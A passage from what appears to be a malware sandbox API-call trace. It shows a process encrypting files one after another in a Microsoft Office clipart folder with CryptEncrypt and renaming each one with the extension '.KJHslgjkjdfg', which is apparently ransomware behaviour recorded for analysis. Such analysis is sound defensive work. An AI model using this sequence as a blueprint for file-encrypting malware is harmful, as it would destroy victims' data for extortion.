dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.662] GetProcessHeap () returned 0x2ef0000 [0216.662] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.662] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.662] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.665] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.665] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.665] GetProcessHeap () returned 0x2ef0000 [0216.665] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.665] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.665] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.665] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.666] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.666] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.666] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.666] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.666] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17c4, lpOverlapped=0x0) returned 1 [0216.667] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17d0, dwBufLen=0x17d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17d0) returned 1 [0216.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.667] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17d0, lpOverlapped=0x0) returned 1 [0216.667] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.667] SetEndOfFile (hFile=0x130) returned 1 [0216.670] GetProcessHeap () returned 0x2ef0000 [0216.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.670] GetProcessHeap () returned 0x2ef0000 [0216.670] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.kjhslgjkjdfg")) returned 1 [0216.672] CloseHandle (hObject=0x130) returned 1 [0216.672] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1 [0216.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.674] GetProcessHeap () returned 0x2ef0000 [0216.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.674] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.674] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.674] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.677] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.677] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.677] GetProcessHeap () returned 0x2ef0000 [0216.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.677] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.677] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.677] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.677] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.678] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.678] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.678] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.678] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd28, lpOverlapped=0x0) returned 1 [0216.678] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd30, dwBufLen=0xd30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd30) returned 1 [0216.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.678] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd30, lpOverlapped=0x0) returned 1 [0216.678] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.678] SetEndOfFile (hFile=0x130) returned 1 [0216.681] GetProcessHeap () returned 0x2ef0000 [0216.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.681] GetProcessHeap () returned 0x2ef0000 [0216.681] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.kjhslgjkjdfg")) returned 1 [0216.683] CloseHandle (hObject=0x130) returned 1 [0216.683] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1 [0216.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.684] GetProcessHeap () returned 0x2ef0000 [0216.684] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.684] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.687] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.687] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.687] GetProcessHeap () returned 0x2ef0000 [0216.687] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.687] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.687] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.687] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.687] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.688] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.688] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.688] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc74, lpOverlapped=0x0) returned 1 [0216.688] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc80, dwBufLen=0xc80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc80) returned 1 [0216.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.688] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc80, lpOverlapped=0x0) returned 1 [0216.688] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.688] SetEndOfFile (hFile=0x130) returned 1 [0216.691] GetProcessHeap () returned 0x2ef0000 [0216.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.691] GetProcessHeap () returned 0x2ef0000 [0216.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.kjhslgjkjdfg")) returned 1 [0216.693] CloseHandle (hObject=0x130) returned 1 [0216.693] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1 [0216.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.694] GetProcessHeap () returned 0x2ef0000 [0216.694] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.694] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.695] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.697] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.697] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.697] GetProcessHeap () returned 0x2ef0000 [0216.697] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.697] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.697] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.697] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.698] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.698] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.698] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.698] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.698] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcec, lpOverlapped=0x0) returned 1 [0216.698] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcf0) returned 1 [0216.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.699] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcf0, lpOverlapped=0x0) returned 1 [0216.699] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.699] SetEndOfFile (hFile=0x130) returned 1 [0216.702] GetProcessHeap () returned 0x2ef0000 [0216.702] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.702] GetProcessHeap () returned 0x2ef0000 [0216.702] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.702] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.kjhslgjkjdfg")) returned 1 [0216.703] CloseHandle (hObject=0x130) returned 1 [0216.703] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1 [0216.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.705] GetProcessHeap () returned 0x2ef0000 [0216.705] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.705] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.706] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.708] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.708] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, 